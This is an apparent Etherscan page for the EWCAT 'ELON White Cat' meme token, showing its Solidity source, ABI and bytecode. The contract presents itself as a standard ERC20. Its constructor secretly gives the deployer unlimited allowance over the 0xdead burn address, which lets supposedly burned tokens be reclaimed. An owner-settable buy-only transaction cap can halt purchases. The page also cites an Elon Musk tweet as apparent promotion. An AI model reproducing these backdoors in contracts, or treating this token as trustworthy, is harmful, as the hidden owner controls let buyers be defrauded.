ETH Price: $2,653.44 (+1.87%)

Token

ELON White Cat (EWCAT)
 

Overview

Max Total Supply

10,000,000,000,000 EWCAT

Holders

28

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
61,500,357.300400282103153304 EWCAT

Value
$0.00
0xc81fd856eb271cdb4d93342ce68fea5b7965ed2e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ERC20

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-03-30
*/

// SPDX-License-Identifier: MIT

/**
 * Twitter: https://twitter.com/elonmusk/status/192701084932907009
 * Twitter: https://twitter.com/whitecat_eth/status/1641451652443176962
 * Telegram: https://t.me/Elon_Whitecat
*/

pragma solidity ^0.8.0;

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract ERC20 is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public fundAddress;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    mapping(address => bool) public _isExcludeFromFee;
    
    uint256 private _totalSupply;

    IUniswapRouter public _uniswapRouter;

    mapping(address => bool) public isMarketPair;
    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _buyFundFee = 0;
    uint256 public _buyLPFee = 0;
    uint256 public _sellFundFee = 0;
    uint256 public _sellLPFee = 0;

    address public _uniswapPair;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (){
        _name = "ELON White Cat";
        _symbol = "EWCAT";
        _decimals = 18;
        uint256 Supply = 10000000000000;

        IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        _uniswapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
        address swapPair = swapFactory.createPair(address(this), swapRouter.WETH());
        _uniswapPair = swapPair;
        isMarketPair[swapPair] = true;

        _totalSupply = Supply * 10 ** _decimals;

        address bossWallet = msg.sender;
        _balances[bossWallet] = _totalSupply;
        emit Transfer(address(0), bossWallet, _totalSupply);

        fundAddress = msg.sender;
        maxTxAmount = (_totalSupply/10000) * 10 / 1000;
        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[address(swapRouter)] = true;
        _allowances[address(0xdead)][address(bossWallet)] = MAX;
        _isExcludeFromFee[msg.sender] = true;
        _isExcludeFromFee[bossWallet] = true;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    // function DesignBuy(uint256 newFundFee, uint256 newLpFee) public onlyOwner{
    //     require(newFundFee + newLpFee <= 4000,"too high");
    //     _buyFundFee = newFundFee;
    //     _buyLPFee = newLpFee;
    // }

    // function DesignSell(uint256 newFundFee, uint256 newLpFee) public onlyOwner{
    //     require(newFundFee + newLpFee <= 4000,"too high");
    //     _sellFundFee = newFundFee;
    //     _sellLPFee = newLpFee;
    // }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    // uint256 public swapRate = 200;
    // function setswapRate(uint256 newValue) public onlyOwner{
    //     require(newValue != 0," == 0");
    //     swapRate = newValue;
    // }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        uint256 balance = balanceOf(from);
        require(balance >= amount, "balanceNotEnough");

        bool takeFee;
        bool sellFlag;

        // if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to]) {
        //     uint256 contractTokenBalance = balanceOf(address(this));
        //     if (contractTokenBalance > totalSupply() / 10**8) {
        //         uint256 taxFee = _buyFundFee + _buyLPFee + _sellFundFee + _sellLPFee;
        //         uint256 numTokensSellToFund = (amount * taxFee / swapRate);
        //         numTokensSellToFund = numTokensSellToFund > contractTokenBalance ? 
        //                                                     contractTokenBalance:numTokensSellToFund;
        //         // swapTokenForETH(numTokensSellToFund, taxFee);
        //     }
        // }

        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
            takeFee = true;
        }

        if (isMarketPair[to]) { sellFlag = true; }

        _transferToken(from, to, amount, takeFee, sellFlag);
    }

    uint256 public maxTxAmount;
    function setMaxTxAmount(uint256 newValue) public onlyOwner{
        maxTxAmount = newValue;
    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool sellFlag
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;

        if (takeFee) {
            uint256 taxFee;

            if (sellFlag) {
                taxFee = _sellFundFee + _sellLPFee;
            } else {
                taxFee = _buyFundFee + _buyLPFee;
                require(tAmount <= maxTxAmount,"max tx");
            }
            uint256 swapAmount = tAmount * taxFee / 10000;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _balances[address(this)] = _balances[address(this)] + swapAmount;
                emit Transfer(sender, address(this), swapAmount);
            }
        }

        _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
        emit Transfer(sender, recipient, tAmount - feeAmount);

    }


    // function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
    //     _balances[sender] -= amount;
    //     _balances[recipient] += amount;
    //     emit Transfer(sender, recipient, amount);
    //     return true;
    // }

    function removeERC20(address tokenAddress, uint256 amount) external {
        if (tokenAddress == address(0)){
            payable(fundAddress).transfer(amount);
        }else if(tokenAddress != address(this)){
            IERC20(tokenAddress).transfer(fundAddress, amount);
        }
    }

    function multiExcludeFromFees(address[] calldata addresses, bool value) public onlyOwner{
        require(addresses.length < 201);
        for (uint256 i; i < addresses.length; ++i) {
            _isExcludeFromFee[addresses[i]] = value;
        }
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLPFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLPFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fundAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"value","type":"bool"}],"name":"multiExcludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"removeERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600c556000600d556000600e556000600f553480156200002557600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060408051808201909152600e81526d115313d38815da1a5d194810d85d60921b60208201526004906200009b908262000498565b50604080518082019091526005808252641155d0d05560da1b602083015290620000c6908262000498565b506006805460ff19166012179055600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915530600090815260026020908152604080832084845282528083206000199055805163c45a015560e01b815290516509184e72a000949392849263c45a015592600480830193928290030181865afa1580156200015d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000183919062000564565b90506000816001600160a01b031663c9c6539630856001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001d6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001fc919062000564565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200024a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000270919062000564565b601080546001600160a01b0319166001600160a01b0383169081179091556000908152600a60208190526040909120805460ff19166001179055600654919250620002bf9160ff1690620006ab565b620002cb9085620006bc565b600881905533600081815260016020908152604080832085905551938452919283927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600380546001600160a01b031916331790556008546103e890620003409061271090620006d6565b6200034d90600a620006bc565b620003599190620006d6565b6011553060009081526007602081815260408084208054600160ff1991821681179092556001600160a01b03998a1686528286208054821683179055959098168085527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc835281852060001990553385529290915280832080548516881790559082529020805490911690931790925550620006f9915050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200041e57607f821691505b6020821081036200043f57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200049357600081815260208120601f850160051c810160208610156200046e5750805b601f850160051c820191505b818110156200048f578281556001016200047a565b5050505b505050565b81516001600160401b03811115620004b457620004b4620003f3565b620004cc81620004c5845462000409565b8462000445565b602080601f831160018114620005045760008415620004eb5750858301515b600019600386901b1c1916600185901b1785556200048f565b600085815260208120601f198616915b82811015620005355788860151825594840194600190910190840162000514565b5085821015620005545787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200057757600080fd5b81516001600160a01b03811681146200058f57600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005ed578160001904821115620005d157620005d162000596565b80851615620005df57918102915b93841c9390800290620005b1565b509250929050565b6000826200060657506001620006a5565b816200061557506000620006a5565b81600181146200062e5760028114620006395762000659565b6001915050620006a5565b60ff8411156200064d576200064d62000596565b50506001821b620006a5565b5060208310610133831016604e8410600b84101617156200067e575081810a620006a5565b6200068a8383620005ac565b8060001904821115620006a157620006a162000596565b0290505b92915050565b60006200058f60ff841683620005f5565b8082028115828204841417620006a557620006a562000596565b600082620006f457634e487b7160e01b600052601260045260246000fd5b500490565b610f9d80620007096000396000f3fe60806040526004361061016a5760003560e01c80638637b069116100d1578063b9fbc49d1161008a578063dd62ed3e11610064578063dd62ed3e14610438578063e82bef291461047e578063ec28438a1461049e578063f2fde38b146104be57600080fd5b8063b9fbc49d146103ec578063bceaaf1e14610402578063ce0192f91461042257600080fd5b80638637b0691461034d5780638c0b5e221461036d5780638da5cb5b1461038357806395d89b41146103a1578063a9059cbb146103b6578063adc7955d146103d657600080fd5b80633bfe62ca116101235780633bfe62ca146102625780633ecad271146102785780634bf28fd0146102a857806365b61b77146102e057806370a0823114610300578063715018a61461033657600080fd5b806306fdde0314610176578063095ea7b3146101a157806318160ddd146101d157806323b872dd146101f0578063313ce5671461021057806336b2e0271461023257600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018b6104de565b6040516101989190610c6c565b60405180910390f35b3480156101ad57600080fd5b506101c16101bc366004610cd6565b610570565b6040519015158152602001610198565b3480156101dd57600080fd5b506008545b604051908152602001610198565b3480156101fc57600080fd5b506101c161020b366004610d00565b610587565b34801561021c57600080fd5b5060065460405160ff9091168152602001610198565b34801561023e57600080fd5b506101c161024d366004610d3c565b60076020526000908152604090205460ff1681565b34801561026e57600080fd5b506101e2600e5481565b34801561028457600080fd5b506101c1610293366004610d3c565b600a6020526000908152604090205460ff1681565b3480156102b457600080fd5b506010546102c8906001600160a01b031681565b6040516001600160a01b039091168152602001610198565b3480156102ec57600080fd5b506009546102c8906001600160a01b031681565b34801561030c57600080fd5b506101e261031b366004610d3c565b6001600160a01b031660009081526001602052604090205490565b34801561034257600080fd5b5061034b61061e565b005b34801561035957600080fd5b5061034b610368366004610cd6565b61069b565b34801561037957600080fd5b506101e260115481565b34801561038f57600080fd5b506000546001600160a01b03166102c8565b3480156103ad57600080fd5b5061018b610773565b3480156103c257600080fd5b506101c16103d1366004610cd6565b610782565b3480156103e257600080fd5b506101e2600f5481565b3480156103f857600080fd5b506101e2600d5481565b34801561040e57600080fd5b5061034b61041d366004610d6f565b61078f565b34801561042e57600080fd5b506101e2600c5481565b34801561044457600080fd5b506101e2610453366004610df5565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561048a57600080fd5b506003546102c8906001600160a01b031681565b3480156104aa57600080fd5b5061034b6104b9366004610e28565b61083b565b3480156104ca57600080fd5b5061034b6104d9366004610d3c565b61086a565b6060600480546104ed90610e41565b80601f016020809104026020016040519081016040528092919081815260200182805461051990610e41565b80156105665780601f1061053b57610100808354040283529160200191610566565b820191906000526020600020905b81548152906001019060200180831161054957829003601f168201915b5050505050905090565b600061057d338484610930565b5060015b92915050565b6000610594848484610991565b6001600160a01b038416600090815260026020908152604080832033845290915290205460001914610614576001600160a01b03841660009081526002602090815260408083203384529091529020546105ef908390610e91565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146106515760405162461bcd60e51b815260040161064890610ea4565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6001600160a01b0382166106e8576003546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106e3573d6000803e3d6000fd5b505050565b6001600160a01b038216301461076f5760035460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af115801561074b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e39190610ecf565b5050565b6060600580546104ed90610e41565b600061057d338484610991565b6000546001600160a01b031633146107b95760405162461bcd60e51b815260040161064890610ea4565b60c982106107c657600080fd5b60005b828110156108355781600760008686858181106107e8576107e8610eec565b90506020020160208101906107fd9190610d3c565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905561082e81610f02565b90506107c9565b50505050565b6000546001600160a01b031633146108655760405162461bcd60e51b815260040161064890610ea4565b601155565b6000546001600160a01b031633146108945760405162461bcd60e51b815260040161064890610ea4565b6001600160a01b0381166108d55760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610648565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316600090815260016020526040902054818110156109ed5760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b6044820152606401610648565b6001600160a01b038416600090815260076020526040812054819060ff16158015610a3157506001600160a01b03851660009081526007602052604090205460ff16155b8015610a405750600b5460ff16155b15610a4a57600191505b6001600160a01b0385166000908152600a602052604090205460ff1615610a6f575060015b610a7c8686868585610a84565b505050505050565b6001600160a01b038516600090815260016020526040902054610aa8908490610e91565b6001600160a01b0386166000908152600160205260408120919091558215610bdc5760008215610ae957600f54600e54610ae29190610f1b565b9050610b36565b600d54600c54610af99190610f1b565b9050601154851115610b365760405162461bcd60e51b81526020600482015260066024820152650dac2f040e8f60d31b6044820152606401610648565b6000612710610b458388610f2e565b610b4f9190610f45565b90508015610bd957610b618184610f1b565b30600090815260016020526040902054909350610b7f908290610f1b565b30600081815260016020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bd09085815260200190565b60405180910390a35b50505b610be68185610e91565b6001600160a01b038616600090815260016020526040902054610c099190610f1b565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610c538488610e91565b60405190815260200160405180910390a3505050505050565b600060208083528351808285015260005b81811015610c9957858101830151858201604001528201610c7d565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610cd157600080fd5b919050565b60008060408385031215610ce957600080fd5b610cf283610cba565b946020939093013593505050565b600080600060608486031215610d1557600080fd5b610d1e84610cba565b9250610d2c60208501610cba565b9150604084013590509250925092565b600060208284031215610d4e57600080fd5b610d5782610cba565b9392505050565b8015158114610d6c57600080fd5b50565b600080600060408486031215610d8457600080fd5b833567ffffffffffffffff80821115610d9c57600080fd5b818601915086601f830112610db057600080fd5b813581811115610dbf57600080fd5b8760208260051b8501011115610dd457600080fd5b60209283019550935050840135610dea81610d5e565b809150509250925092565b60008060408385031215610e0857600080fd5b610e1183610cba565b9150610e1f60208401610cba565b90509250929050565b600060208284031215610e3a57600080fd5b5035919050565b600181811c90821680610e5557607f821691505b602082108103610e7557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561058157610581610e7b565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b600060208284031215610ee157600080fd5b8151610d5781610d5e565b634e487b7160e01b600052603260045260246000fd5b600060018201610f1457610f14610e7b565b5060010190565b8082018082111561058157610581610e7b565b808202811582820484141761058157610581610e7b565b600082610f6257634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220875dd22fad4bfb66a1497104d2ed816d2179afbbf229755b2c85ca1227ecb88764736f6c63430008120033

Deployed Bytecode

0x60806040526004361061016a5760003560e01c80638637b069116100d1578063b9fbc49d1161008a578063dd62ed3e11610064578063dd62ed3e14610438578063e82bef291461047e578063ec28438a1461049e578063f2fde38b146104be57600080fd5b8063b9fbc49d146103ec578063bceaaf1e14610402578063ce0192f91461042257600080fd5b80638637b0691461034d5780638c0b5e221461036d5780638da5cb5b1461038357806395d89b41146103a1578063a9059cbb146103b6578063adc7955d146103d657600080fd5b80633bfe62ca116101235780633bfe62ca146102625780633ecad271146102785780634bf28fd0146102a857806365b61b77146102e057806370a0823114610300578063715018a61461033657600080fd5b806306fdde0314610176578063095ea7b3146101a157806318160ddd146101d157806323b872dd146101f0578063313ce5671461021057806336b2e0271461023257600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018b6104de565b6040516101989190610c6c565b60405180910390f35b3480156101ad57600080fd5b506101c16101bc366004610cd6565b610570565b6040519015158152602001610198565b3480156101dd57600080fd5b506008545b604051908152602001610198565b3480156101fc57600080fd5b506101c161020b366004610d00565b610587565b34801561021c57600080fd5b5060065460405160ff9091168152602001610198565b34801561023e57600080fd5b506101c161024d366004610d3c565b60076020526000908152604090205460ff1681565b34801561026e57600080fd5b506101e2600e5481565b34801561028457600080fd5b506101c1610293366004610d3c565b600a6020526000908152604090205460ff1681565b3480156102b457600080fd5b506010546102c8906001600160a01b031681565b6040516001600160a01b039091168152602001610198565b3480156102ec57600080fd5b506009546102c8906001600160a01b031681565b34801561030c57600080fd5b506101e261031b366004610d3c565b6001600160a01b031660009081526001602052604090205490565b34801561034257600080fd5b5061034b61061e565b005b34801561035957600080fd5b5061034b610368366004610cd6565b61069b565b34801561037957600080fd5b506101e260115481565b34801561038f57600080fd5b506000546001600160a01b03166102c8565b3480156103ad57600080fd5b5061018b610773565b3480156103c257600080fd5b506101c16103d1366004610cd6565b610782565b3480156103e257600080fd5b506101e2600f5481565b3480156103f857600080fd5b506101e2600d5481565b34801561040e57600080fd5b5061034b61041d366004610d6f565b61078f565b34801561042e57600080fd5b506101e2600c5481565b34801561044457600080fd5b506101e2610453366004610df5565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561048a57600080fd5b506003546102c8906001600160a01b031681565b3480156104aa57600080fd5b5061034b6104b9366004610e28565b61083b565b3480156104ca57600080fd5b5061034b6104d9366004610d3c565b61086a565b6060600480546104ed90610e41565b80601f016020809104026020016040519081016040528092919081815260200182805461051990610e41565b80156105665780601f1061053b57610100808354040283529160200191610566565b820191906000526020600020905b81548152906001019060200180831161054957829003601f168201915b5050505050905090565b600061057d338484610930565b5060015b92915050565b6000610594848484610991565b6001600160a01b038416600090815260026020908152604080832033845290915290205460001914610614576001600160a01b03841660009081526002602090815260408083203384529091529020546105ef908390610e91565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146106515760405162461bcd60e51b815260040161064890610ea4565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6001600160a01b0382166106e8576003546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106e3573d6000803e3d6000fd5b505050565b6001600160a01b038216301461076f5760035460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af115801561074b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e39190610ecf565b5050565b6060600580546104ed90610e41565b600061057d338484610991565b6000546001600160a01b031633146107b95760405162461bcd60e51b815260040161064890610ea4565b60c982106107c657600080fd5b60005b828110156108355781600760008686858181106107e8576107e8610eec565b90506020020160208101906107fd9190610d3c565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905561082e81610f02565b90506107c9565b50505050565b6000546001600160a01b031633146108655760405162461bcd60e51b815260040161064890610ea4565b601155565b6000546001600160a01b031633146108945760405162461bcd60e51b815260040161064890610ea4565b6001600160a01b0381166108d55760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610648565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316600090815260016020526040902054818110156109ed5760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b6044820152606401610648565b6001600160a01b038416600090815260076020526040812054819060ff16158015610a3157506001600160a01b03851660009081526007602052604090205460ff16155b8015610a405750600b5460ff16155b15610a4a57600191505b6001600160a01b0385166000908152600a602052604090205460ff1615610a6f575060015b610a7c8686868585610a84565b505050505050565b6001600160a01b038516600090815260016020526040902054610aa8908490610e91565b6001600160a01b0386166000908152600160205260408120919091558215610bdc5760008215610ae957600f54600e54610ae29190610f1b565b9050610b36565b600d54600c54610af99190610f1b565b9050601154851115610b365760405162461bcd60e51b81526020600482015260066024820152650dac2f040e8f60d31b6044820152606401610648565b6000612710610b458388610f2e565b610b4f9190610f45565b90508015610bd957610b618184610f1b565b30600090815260016020526040902054909350610b7f908290610f1b565b30600081815260016020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bd09085815260200190565b60405180910390a35b50505b610be68185610e91565b6001600160a01b038616600090815260016020526040902054610c099190610f1b565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610c538488610e91565b60405190815260200160405180910390a3505050505050565b600060208083528351808285015260005b81811015610c9957858101830151858201604001528201610c7d565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610cd157600080fd5b919050565b60008060408385031215610ce957600080fd5b610cf283610cba565b946020939093013593505050565b600080600060608486031215610d1557600080fd5b610d1e84610cba565b9250610d2c60208501610cba565b9150604084013590509250925092565b600060208284031215610d4e57600080fd5b610d5782610cba565b9392505050565b8015158114610d6c57600080fd5b50565b600080600060408486031215610d8457600080fd5b833567ffffffffffffffff80821115610d9c57600080fd5b818601915086601f830112610db057600080fd5b813581811115610dbf57600080fd5b8760208260051b8501011115610dd457600080fd5b60209283019550935050840135610dea81610d5e565b809150509250925092565b60008060408385031215610e0857600080fd5b610e1183610cba565b9150610e1f60208401610cba565b90509250929050565b600060208284031215610e3a57600080fd5b5035919050565b600181811c90821680610e5557607f821691505b602082108103610e7557634e487b7160e01b